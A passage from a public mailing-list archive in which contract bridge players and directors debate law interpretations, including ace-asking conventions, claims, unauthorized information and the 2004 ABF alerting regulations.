DOPI/ROPI, but that is > >>>quite well-defined as showing two key cards, so I would have expected > >>>a clear consensus that one would simply reply to an inquiry by saying > >>>so. I don't see Herman's "school" as being applicable, as there > >>>would be no uncertainty as to the agreed meaning. I thought the > >>>example would be more applicable with the agreement being DEPO/REPO, > >>>in which 5C is not defined (or, at least, is likely to be an > >>>"impossible" call on most auctions) and would serve as a more > >>>transparent "no agreement" position. > >> > >> What do you mean by 'well-defined' and 'a clear consensus'? First, > >>I do not play it as two aces - and I was one of the players at the > >>table. Second, because of the problem, I have since polled people IRL > >>and on RGB, and it has emerged that there is no consensus. What there > >>is is a majority who thinks it shows 2-Q, and a minority who do not. > >> > >> You really cannot base rulings on what Eric and friends play, and > >>say this is a "consensus". The pair concerned [Smith-Stevenson] had > >>*no agreement* to play the sequence as 2-Q, and to assume they did > >>because of a non-consensus of other people is wrong. > >> > >> You do not like it because it does not follow your own ideas of how > >>the game is played? But that is one of the major problems in the game > >>today, and I expected BLML to be above that. Players do not agree. > >>Your consensus is very similar to the idea that Stayman shows a 4-card > >>major: every day people get upset because their opponents bid Stayman > >>without one. They think there is a 'consensus' that Stayman shows a > >>4-card major: they are wrong. > >> > >> Any ruling assuming that Smith-Stevenson played a convention they > >>did not play because you erroneously believe there is a consensus > >>would be wrong. > >> > >> Unfortunately, I am logical in thought: apparently that makes me in > >>a minority. If you play [Re-]Double=second step, Pass=first step, > >>next bid=third step, it is idiotic to call it [re-]double=one, > >>pass=zero, so it never occurred to me that people were that stupid. > >>OK, now I know differently. but please do not assume that everyone > >>follows this illogical trail. > > > >It appears I wrote in ignorance. I am in total agreement with David's > >last paragraph. "ROPI" is an acronym for "redouble zero, pass one", > >and I would readily rule against anyone who described as "ROPI" an > >agreement in which redouble showed anything other than no aces/KCs or > >pass showed anything other than one. But I never imagined a method in > >which redouble showed none, pass showed one, and 5C showed anything > >other than two. {If you play 5C to show three, how do you show two?) > > 5C shows 3 [redouble with 0] > 5D shows 4 [redouble with 1] > 5H shows 2-Q > 5S shows 2+Q > > >I suggested that David's example was flawed, though, precisely because > >it introduced this issue, which I see as a red herring in the original > >discussion that could have been avoided by citing "REPO" rather than > >"ROPI". I trust that we all agree that a 5C response playing REPO has > >no agreed meaning, and the question on the table pertains to situations > >where we can stipulate (without getting sidetracked by discussions of > >who is "lying" and who is "cheating") that "no agreed meaning" is the > >literal truth. > > I still cannot see why a real event that occurred and led to problems > and is being disagreed about - including by Eric - is a flawed example, > and some construction of his that never happened is meant to be better. > > My agreement was not "REPO" so to say a real example is flawed because > the players concerned had the agreement they had rather than the example > you have made up seems silly. I think BLML has gone crazy when real > examples are considered flawed because the players did not do what you > wanted them to when they made mistakes!!!!!!!!!!!! > > Furthermore, REPO means redouble = even, pass = odd, thus > > redouble = 0, 2 or 4 > pass = 1, 3 or 5 > > which does not seem much of a solution tome. Presumable 5C shows a > void. > > -- > David Stevenson Wirral, Merseyside, UK > Special services: Digital Postcard http://blakjak.com/postcard.htm > Currency Converter http://blakjak.com/curr_con.htm > Magical Translator http://blakjak.com/translt.htm > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From jaap.vander.neut@noos.fr Thu Jan 1 18:48:02 2004 From: jaap.vander.neut@noos.fr (Jaap van der Neut) Date: Thu, 1 Jan 2004 19:48:02 +0100 Subject: [blml] Careless claim References: <5.2.0.9.0.20031230093256.00b6b618@pop-server.bigpond.net.au> Message-ID: <00ea01c3d097$c93e5390$2a9e4151@yourhpbmye9tmb> DWS: > Sure: I would give west a lecture on the ethics of the game. An extremly stupid reaction which shows once again that DWS has no idea about handling people. Before you do anything at all you should find out why West said so. The fact that he did means he is not an experienced player so to start lecturing about ethics makes no sense. If the guy really thinks claiming works like that (and that is not crazy at all), it seems better to explain him the claiming laws in a friendly way. Jaap ----- Original Message ----- From: "David Stevenson" To: Sent: Thursday, January 01, 2004 7:10 PM Subject: Re: [blml] Careless claim > Tony Musgrove wrote > > > >The layout of the spade suit is as follows: > > > > A J 8 > > > >Q 7 4 3 5 2 > > > > K 10 9 6 > > > > > >Declarer is in 3 hearts. The opening lead is > >the 3 of spades, won in dummy with the 8. > > > >With 4 cards remaining, declarer has the > >3 remaining spades and the only trump. > >She shows her hand "they're all there. Over > >to the Jack, Ace and then back to my hand." > > > >"Hang on says West, if you're playing the Jack, > >I'm playing the Queen." > > > >There is no doubt that declarer knew the Queen > >was out, and she "knew" that West had it > >from the opening lead. > > > >I have allowed the claim with a caution "in future > >just say ..'repeating the finesse' " > > > >Any contrary opinion? > > Sure: I would give west a lecture on the ethics of the game. > > -- > David Stevenson Wirral, Merseyside, UK > Special services: Digital Postcard http://blakjak.com/postcard.htm > Currency Converter http://blakjak.com/curr_con.htm > Magical Translator http://blakjak.com/translt.htm > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From twm@cix.co.uk Thu Jan 1 19:05:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Thu, 1 Jan 2004 19:05 +0000 (GMT Standard Time) Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: Message-ID: James wrote: > As I interpret it, Law 40D does not give the SO the right to forbid > certain pairs from playing a convention while permitting others to play > it. The current WBFLC interpretation of L40D is that the power to regulate conventions is unlimited. SOs may regulate on the basis of race/religion/ability/personal bias or indeed any other "reason" they can think of. I don't like that interpretation but that seems to be the way it is at the moment. Tim From ereppert@rochester.rr.com Thu Jan 1 21:06:41 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Thu, 1 Jan 2004 16:06:41 -0500 Subject: [blml] So evident UI In-Reply-To: Message-ID: <658245D9-3C9E-11D8-A28C-0030656F6826@rochester.rr.com> On Thursday, Jan 1, 2004, at 13:09 US/Eastern, David Stevenson wrote: > Ed Reppert wrote >> >> On Monday, Dec 29, 2003, at 12:23 US/Eastern, Konrad Ciborowski wrote: >> >>> I would add that even if East passes there still may be an UI case >>> as West has UI that his partner passed not because he >>> had a penalty pass but because he overlooked West's double. >>> This may be significant especially for the opening lead. >> >> Whence comes this UI? Surely not simply from the fact that East had a >> pass card in his hand when West foolishly opened his mouth. > > West is the one giving UI. "West has UI that his partner passed...because he overlooked West's double." West didn't give this UI (if it is UI) to himself. :-) > Currency Converter > http://blakjak.com/curr_con.htm > Magical Translator > http://blakjak.com/translt.htm > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From ereppert@rochester.rr.com Thu Jan 1 21:20:06 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Thu, 1 Jan 2004 16:20:06 -0500 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: Message-ID: <457E2910-3CA0-11D8-A28C-0030656F6826@rochester.rr.com> On Thursday, Jan 1, 2004, at 13:18 US/Eastern, David Stevenson wrote: >> Which law allows a TD to tell a pair what agreement they are or are >> not permitted to have (assuming their agreements are all legal IAW SO >> regulations)? > > L80F. This covers what players may or may not play. > > Remember we are talking ABF regs here, not general Laws that apply > elsewhere. > > I think it a very poor reg myself, and will certainly oppose any > effort to bring such a reg into EBU usage. It seems to me to be > against the general way bridge is played. Are you saying there's an ABF regulation that specifically allows a TD to tell a pair they can't play a convention otherwise authorized for play in that event? If so, I agree it's a very poor regulation. If not, I submit that Law 80F is not a correct answer to my question. IAC, I looked on the ABF website and could not find such a regulation. From richard.hills@immi.gov.au Thu Jan 1 22:28:33 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 2 Jan 2004 08:28:33 +1000 Subject: [blml] Divine Intervention Message-ID: >You are playing with an unknown antipodean expert. Your >sole system discussion with partner has been partner saying, > >"We'll keep the bidding simple, if you don't mind. >Straightforward Acol is my style." [snip] >What call do you make? >What other calls do you consider making? Three blmlers rushed in where angels fear to tread, deciding to call Redouble. Their error was in failing to remember Immanuel Kant's distinction between the phenomenal world (partnership agreements as they appear to us) and the noumenal world (partnership agreements as they are in themselves). In the book "Divine Intervention", chapter 15 "The Arrival of Brother Herman", David Bird wrote: [snip] >>Much to the Abbot's surprise, there was no further bidding. >>Brother Damien led the jack of hearts against three spades >>redoubled and this proved to be the full deal: >> >>East-West game 9762 >>Dealer South 852 >> J4 >> QJ74 >>KQT4 5 >>JT93 AK76 >>K853 T962 >>5 A962 >> AJ83 >> Q4 >> AQ7 >> KT83 [snip] >>The Abbot gazed at the dummy in disbelief. "Did I mishear >>the bidding? he gasped. "I thought it went one spade - >>three spades." >> >>"Yes, quite right," replied Brother Herman, who spoke in an >>unusually heavy Australian accent. "Four to eight points >>and four-card support. I take it you play the same?" >> >>The Abbot struggled to maintain his composure. "No, I do >>not play the same," he declared. "I've never even heard of >>such a method." >> >>Brother Herman seemed uncertain whether the Abbot was >>serious. "All the Acol players back home use a double >>raise as pre-emptive," he said. "Hasn't Larry Cohen's book >>reached here yet?" [snip] In my opinion, a partnership agreement is not established by just one partner's diktat or assumption. This Brother Herman incident is a counter-example to the other Herman view, and so demonstrates that a mutual partnership agreement requires a mutual meeting of minds. Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From ereppert@rochester.rr.com Thu Jan 1 21:32:52 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Thu, 1 Jan 2004 16:32:52 -0500 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <457E2910-3CA0-11D8-A28C-0030656F6826@rochester.rr.com> Message-ID: <0DBC5037-3CA2-11D8-A28C-0030656F6826@rochester.rr.com> On Thursday, Jan 1, 2004, at 16:20 US/Eastern, Ed Reppert wrote: > IAC, I looked on the ABF website and could not find such a regulation. My bad. It's alert regulation 10.1. Fortunately, the ACBL has no such regulation - though that does not seem to prevent ACBL TDs from making such rulings :(. From richard.hills@immi.gov.au Thu Jan 1 23:00:00 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 2 Jan 2004 09:00:00 +1000 Subject: [blml] Asking about opponents' skill level Message-ID: Richard James Hills: >>>Are you required to answer the question: >>> >>>"What system are your team-mates playing?" >>> >>>While it is information that you are aware of, >>>Edgar Kaplan ruled that it is *not* entitled >>>information for the opponents, as this >>>particular information about the methods of >>>your team-mates is not required to be revealed >>>by Law 75A. James Hudson: >>If I know what system my teammates are playing >>but the opponents at my table do not know, I >>have an advantage over them in guessing what >>the result will be at the other table. >> >>Maybe the Laws should not allow me to have this >>advantage, but they do Grattan Endicott: >+=3D+ These statements stop short of exploring the >subject fully. I agree that the Laws do not >authorize the question and that the question may >not be asked if the law remains the sole arbiter >of the matter. > >However, if an SO produces a regulation that >allows of the question this will be a lawful >regulation. > ~ Grattan ~ +=3D+ Richard James Hills: If the Laws do not authorise such a question, how can a Regulation (which is subordinate to Law) authorising such a question be valid? If an opponent asks me, "What has he got in his pocketses, precious?" can a Regulation require me to answer? Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Thu Jan 1 23:22:13 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 2 Jan 2004 09:22:13 +1000 Subject: [blml] Cooper echo Message-ID: Grattan asked: >+=3D+ The information conveyed by the echo is >that, in 3NT, declarer will make nine or more >tricks, is it not? [snip] RJH replied: In my case, it is not. Given that I sometimes psyche Cooper Echoes, then any particular Cooper Echo of mine cannot be a claim. One cannot construe that a motherhood statement by me to the effect of "I may (or may not) make nine tricks or more, or alternatively less than nine tricks" would constitute a claim. Of course my frequent psyching of Cooper Echoes, while allowing me to avoid Law 70, leaves me in violation of Law 40A. As a result, the TD is entitled to prohibit me from future unblocking in dummy. Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Thu Jan 1 23:29:20 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 2 Jan 2004 09:29:20 +1000 Subject: [blml] Forgetting [was: 2004 ABF Alerting Regulations] Message-ID: Richard James Hills suggested: >>If the same pair's misbids result in several TD calls, >>the TD will be well aware of that pair's forgetting >>frequency. James Hudson asked: >The bigger the tournament (and the fewer sessions the >particular pair plays) , the less likely is this >scenario. When there are several TDs, do they get >together and pool their information? Richard James Hills reveals: In Australia (the source of the controversial reg) it is standard practice for all the TDs in big tournaments to consult together on all non-mechanical judgement rulings. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From blml@blakjak.com Fri Jan 2 00:03:29 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 2 Jan 2004 00:03:29 +0000 Subject: [blml] So evident UI In-Reply-To: <658245D9-3C9E-11D8-A28C-0030656F6826@rochester.rr.com> References: <658245D9-3C9E-11D8-A28C-0030656F6826@rochester.rr.com> Message-ID: Ed Reppert wrote > >On Thursday, Jan 1, 2004, at 13:09 US/Eastern, David Stevenson wrote: > >> Ed Reppert wrote >>> >>> On Monday, Dec 29, 2003, at 12:23 US/Eastern, Konrad Ciborowski wrote: >>> >>>> I would add that even if East passes there still may be an UI case >>>> as West has UI that his partner passed not because he >>>> had a penalty pass but because he overlooked West's double. >>>> This may be significant especially for the opening lead. >>> >>> Whence comes this UI? Surely not simply from the fact that East had >>>a pass card in his hand when West foolishly opened his mouth. >> >> West is the one giving UI. > >"West has UI that his partner passed...because he overlooked West's >double." > >West didn't give this UI (if it is UI) to himself. :-) Oh, sorry. OK, both have given UI to partner. When West "foolishly opened his mouth" that gave UI, n'est-ce-pas? -- David Stevenson Wirral, Merseyside, UK Special services: Digital Postcard http://blakjak.com/postcard.htm Currency Converter http://blakjak.com/curr_con.htm Magical Translator http://blakjak.com/translt.htm From ereppert@rochester.rr.com Fri Jan 2 00:06:56 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Thu, 1 Jan 2004 19:06:56 -0500 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: Message-ID: <93F3BD00-3CB7-11D8-A28C-0030656F6826@rochester.rr.com> On Thursday, Jan 1, 2004, at 17:34 US/Eastern, richard.hills@immi.gov.au wrote: > Section 10.1 of the ABF Alert regs is the one > under blml discussion. Yeah, I found it right after I sent my previous post. From blml@blakjak.com Fri Jan 2 00:15:00 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 2 Jan 2004 00:15:00 +0000 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <457E2910-3CA0-11D8-A28C-0030656F6826@rochester.rr.com> References: <457E2910-3CA0-11D8-A28C-0030656F6826@rochester.rr.com> Message-ID: Ed Reppert wrote >Are you saying there's an ABF regulation that specifically allows a TD >to tell a pair they can't play a convention otherwise authorized for >play in that event? If so, I agree it's a very poor regulation. If not, >I submit that Law 80F is not a correct answer to my question. IAC, I >looked on the ABF website and could not find such a regulation. ABF Alerting regs 2004 --------------  ,UUHJXODULWLHVLQ3URFHGXUH  0LVLQIRUPDWLRQ 3DLUVZKR IUHTXHQWO\ IRUJHW WKHLU V\VWHPRU FRQYHQWLRQV KDYH D GDPDJLQJ HIIHFW RQ WKH WRXUQDPHQW 7KH'LUHFWRU LVHPSRZHUHG E\ WKHVH5HJXODWLRQV WR UHTXLUH VXFK D SDLU WR SOD\ D VLPSOHU V\VWHPRU FRQYHQWLRQ,QH[WUHPHFDVHVKHPD\DSSO\DSURFHGXUDOSHQDOW\XQGHU/DZ $ [sic] I wish they would not do that!!!!!!!!! You can copy text from most PDF docs, but one or two are non-copyable. I would have thought it would be helpful to have ABF regs copyable!!!!!! OK, ok, I'll type it in! -------------- 10. Irregularities in Procedure 10.1 Misinformation Pairs who frequently forget their system or conventions have a damaging effect on the tournament. The Director is empowered by these Regulations to require such a pair to play a simpler system or convention. In extreme cases he may apply a procedural penalty under Law 90A. -------------- Please Laurie, Richard, anyone else with ABF influence, can we have a copyable PDF file? -- David Stevenson Wirral, Merseyside, UK Special services: Digital Postcard http://blakjak.com/postcard.htm Currency Converter http://blakjak.com/curr_con.htm Magical Translator http://blakjak.com/translt.htm From blml@blakjak.com Fri Jan 2 00:15:47 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 2 Jan 2004 00:15:47 +0000 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <0DBC5037-3CA2-11D8-A28C-0030656F6826@rochester.rr.com> References: <457E2910-3CA0-11D8-A28C-0030656F6826@rochester.rr.com> <0DBC5037-3CA2-11D8-A28C-0030656F6826@rochester.rr.com> Message-ID: Ed Reppert wrote >On Thursday, Jan 1, 2004, at 16:20 US/Eastern, Ed Reppert wrote: > >> IAC, I looked on the ABF website and could not find such a regulation. > >My bad. It's alert regulation 10.1. Grrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr !!!!!!!!!!!!!!!!!!!! See other post. -- David Stevenson Wirral, Merseyside, UK Special services: Digital Postcard http://blakjak.com/postcard.htm Currency Converter http://blakjak.com/curr_con.htm Magical Translator http://blakjak.com/translt.htm From blml@blakjak.com Fri Jan 2 00:18:03 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 2 Jan 2004 00:18:03 +0000 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: References: Message-ID: David Stevenson wrote > If I play 3C as Ghestem over 1S as showing C+D, and the first time I >bid it I have C+H, the second time D+S[**], the third time weak with >clubs, the fourth time C+D, the fifth time medium with clubs, and the >sixth time weak with clubs, then I suppose I have an implicit >understanding that partner's clubs shows something, but I have no idea >what - so how can I express an understanding? Idiot. I forgot to add the note! [**] Some people who say Ghestem shows a minor and a major of the same colour - or opposite - fail to realise this means unbid! Yes, I have seen a pair either showing C+H over 1C - or assuming partner might have. -- David Stevenson Wirral, Merseyside, UK Special services: Digital Postcard http://blakjak.com/postcard.htm Currency Converter http://blakjak.com/curr_con.htm Magical Translator http://blakjak.com/translt.htm From blml@blakjak.com Fri Jan 2 00:19:53 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 2 Jan 2004 00:19:53 +0000 Subject: [blml] Divine Intervention In-Reply-To: References: Message-ID: RJH wrote >>You are playing with an unknown antipodean expert. Your >>sole system discussion with partner has been partner saying, >> >>"We'll keep the bidding simple, if you don't mind. >>Straightforward Acol is my style." > >[snip] > >>What call do you make? >>What other calls do you consider making? > >Three blmlers rushed in where angels fear to tread, deciding >to call Redouble. Their error was in failing to remember >Immanuel Kant's distinction between the phenomenal world >(partnership agreements as they appear to us) and the >noumenal world (partnership agreements as they are in >themselves). > >In the book "Divine Intervention", chapter 15 "The Arrival >of Brother Herman", David Bird wrote: > >[snip] > >>>Much to the Abbot's surprise, there was no further bidding. >>>Brother Damien led the jack of hearts against three spades >>>redoubled and this proved to be the full deal: >>> >>>East-West game 9762 >>>Dealer South 852 >>> J4 >>> QJ74 >>>KQT4 5 >>>JT93 AK76 >>>K853 T962 >>>5 A962 >>> AJ83 >>> Q4 >>> AQ7 >>> KT83 > >[snip] > >>>The Abbot gazed at the dummy in disbelief. "Did I mishear >>>the bidding? he gasped. "I thought it went one spade - >>>three spades." >>> >>>"Yes, quite right," replied Brother Herman, who spoke in an >>>unusually heavy Australian accent. "Four to eight points >>>and four-card support. I take it you play the same?" >>> >>>The Abbot struggled to maintain his composure. "No, I do >>>not play the same," he declared. "I've never even heard of >>>such a method." >>> >>>Brother Herman seemed uncertain whether the Abbot was >>>serious. "All the Acol players back home use a double >>>raise as pre-emptive," he said. "Hasn't Larry Cohen's book >>>reached here yet?" > >[snip] > >In my opinion, a partnership agreement is not established by >just one partner's diktat or assumption. This Brother Herman >incident is a counter-example to the other Herman view, and so >demonstrates that a mutual partnership agreement requires a >mutual meeting of minds. Great example. I bid 4S, but agreed redouble was sensible. If playing with myself [!!!!] I would have passed routinely! -- David Stevenson Wirral, Merseyside, UK Special services: Digital Postcard http://blakjak.com/postcard.htm Currency Converter http://blakjak.com/curr_con.htm Magical Translator http://blakjak.com/translt.htm From TG0JLH1@wpo.cso.niu.edu Fri Jan 2 00:29:43 2004 From: TG0JLH1@wpo.cso.niu.edu (James Hudson) Date: Thu, 01 Jan 2004 18:29:43 -0600 Subject: [blml] 2004 ABF Alerting Regulations Message-ID: >James Hudson: > >As I interpret it, Law 40D does not give the SO the right to forbid >certain pairs from playing a convention while permitting others to play >it. David Stevenson: Nothing in the law suggests your interpretation is correct, and regulating authorities have done just that with WBFLC blessing for a number of years. ----------------------------------- You're right that there's nothing explicit in the text. I was thinking that implicitly Law 40D did not mean to allow (for example) the ACBL to require Marty Bergen to show 5-and-5 with his weak two bids while putting no such restriction on anyone else's weak twos. I hope I wasn't wrong, but perhaps I was. From blml@blakjak.com Fri Jan 2 00:46:36 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 2 Jan 2004 00:46:36 +0000 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: References: Message-ID: James Hudson wrote > >>James Hudson: >> >>As I interpret it, Law 40D does not give the SO the right to forbid >>certain pairs from playing a convention while permitting others to >play >>it. > >David Stevenson: > > Nothing in the law suggests your interpretation is correct, and >regulating authorities have done just that with WBFLC blessing for a >number of years. > >----------------------------------- > >You're right that there's nothing explicit in the text. I was thinking >that implicitly Law 40D did not mean to allow (for example) the ACBL to >require Marty Bergen to show 5-and-5 with his weak two bids while >putting no such restriction on anyone else's weak twos. I hope I wasn't >wrong, but perhaps I was. But his weak twos are not conventions. L40D has been used by both the ACBL and the EBU to control natural bids by controlling conventional responses thereto. The good news is that the WBFLC said they would not challenge this use. The bad news is that some members of BLML will go on for ***ever*** about how ridiculous this is, without ***ever*** saying anything new. Funnily enough, there is even worse news: this is one item that RGB treats in an even more boring fashion than BLML! -- David Stevenson Wirral, Merseyside, UK Special services: Digital Postcard http://blakjak.com/postcard.htm Currency Converter http://blakjak.com/curr_con.htm Magical Translator http://blakjak.com/translt.htm From richard.hills@immi.gov.au Fri Jan 2 01:48:28 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 2 Jan 2004 11:48:28 +1000 Subject: [blml] 2004 ABF Alerting Regulations Message-ID: James Hudson: >You're right that there's nothing explicit in the >text. I was thinking that implicitly Law 40D did >not mean to allow (for example) the ACBL to require >Marty Bergen to show 5-and-5 with his weak two bids >while putting no such restriction on anyone else's >weak twos. I hope I wasn't wrong, but perhaps I >was. Richard Hills: Marty Bergen once opened a weak two with xxxx, and triumphed because he kept the opponents out of a cold slam in the same suit. But the former so-called "Marty Bergen" rule, which prohibited such weak twos, was majestically egalitarian. Anatole France: >>La majestueuse egalite des lois, qui interdit au >>riche comme au pauvre de coucher sous les ponts, >>de mendier dans les rues et de voler du pain. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Fri Jan 2 06:14:27 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 2 Jan 2004 16:14:27 +1000 Subject: [blml] Waking the dragon Message-ID: Multiple (Round-Robin) Teams Board no 15 Dealer South N/S vulnerable The bidding has gone: WEST NORTH EAST SOUTH --- --- --- Pass Pass 1C(1) Pass 1H Double 2H Pass Pass ? (1) Alerted. Likely showing an opening hand with no five-card suit outside of clubs. Example: Could be minimum opening values with 4-4-4-1 shape and a singleton club. You, West, hold: AQ543 T K952 J83 What call do you make? What other calls do you consider making? Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From ereppert@rochester.rr.com Fri Jan 2 05:58:05 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 2 Jan 2004 00:58:05 -0500 Subject: [blml] So evident UI In-Reply-To: Message-ID: On Thursday, Jan 1, 2004, at 19:03 US/Eastern, David Stevenson wrote: > Ed Reppert > wrote >> >> On Thursday, Jan 1, 2004, at 13:09 US/Eastern, David Stevenson wrote: >> >>> Ed Reppert wrote >>>> >>>> On Monday, Dec 29, 2003, at 12:23 US/Eastern, Konrad Ciborowski >>>> wrote: >>>> >>>>> I would add that even if East passes there still may be an UI case >>>>> as West has UI that his partner passed not because he >>>>> had a penalty pass but because he overlooked West's double. >>>>> This may be significant especially for the opening lead. >>>> >>>> Whence comes this UI? Surely not simply from the fact that East had >>>> a pass card in his hand when West foolishly opened his mouth. >>> >>> West is the one giving UI. >> >> "West has UI that his partner passed...because he overlooked West's >> double." >> >> West didn't give this UI (if it is UI) to himself. :-) > > Oh, sorry. > > OK, both have given UI to partner. > > When West "foolishly opened his mouth" that gave UI, n'est-ce-pas? > Oui, certainement. But I wonder. "West has UI that his partner passed not because he had a penalty pass but because he overlooked West's double." I do not see how this inference can be valid. If it isn't, West has no UI. From ereppert@rochester.rr.com Fri Jan 2 05:59:11 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 2 Jan 2004 00:59:11 -0500 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: Message-ID: On Thursday, Jan 1, 2004, at 19:15 US/Eastern, David Stevenson wrote: > Grrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr !!!!!!!!!!!!!!!!!!!! > > See other post. Yeah. Sorry about that. :) From jaap.vander.neut@noos.fr Fri Jan 2 07:26:14 2004 From: jaap.vander.neut@noos.fr (Jaap van der Neut) Date: Fri, 2 Jan 2004 08:26:14 +0100 Subject: [blml] Waking the dragon References: Message-ID: <005701c3d101$dd2c3420$069e4151@yourhpbmye9tmb> Richard, Any sane person would have bid 1S the previous round. If I decided to double I will pass now. Of course one can consider 2S but that makes no sense anymore. Jaap ----- Original Message ----- From: To: Sent: Friday, January 02, 2004 7:14 AM Subject: Re: [blml] Waking the dragon Multiple (Round-Robin) Teams Board no 15 Dealer South N/S vulnerable The bidding has gone: WEST NORTH EAST SOUTH --- --- --- Pass Pass 1C(1) Pass 1H Double 2H Pass Pass ? (1) Alerted. Likely showing an opening hand with no five-card suit outside of clubs. Example: Could be minimum opening values with 4-4-4-1 shape and a singleton club. You, West, hold: AQ543 T K952 J83 What call do you make? What other calls do you consider making? Best wishes Richard James Hills ---------------------------------------------------------------------------- ---------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. This email, including attachments, may contain confidential, legally privileged and/or copyright information, the unauthorised use of which is prohibited. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to be the view of the Department of Immigration and Multicultural and Indigenous Affairs (DIMIA). DIMIA respects your privacy and has obligations under the Privacy Act 1988 (see www.immi.gov.au). ---------------------------------------------------------------------------- ---------- _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From svenpran@online.no Fri Jan 2 07:56:17 2004 From: svenpran@online.no (Sven Pran) Date: Fri, 2 Jan 2004 08:56:17 +0100 Subject: [blml] Forgetting [was: 2004 ABF Alerting Regulations] In-Reply-To: Message-ID: <000001c3d105$e6e36610$6900a8c0@WINXP> > richard.hills@immi.gov.au ......... > James Hudson asked: > > >The bigger the tournament (and the fewer sessions the > >particular pair plays) , the less likely is this > >scenario. When there are several TDs, do they get > >together and pool their information? > > Richard James Hills reveals: > > In Australia (the source of the controversial reg) it is > standard practice for all the TDs in big tournaments to > consult together on all non-mechanical judgement rulings. The same in Norway! (And warnings are noted centrally so that a warning issued by one TD is known by all the others) Sven From svenpran@online.no Fri Jan 2 08:00:48 2004 From: svenpran@online.no (Sven 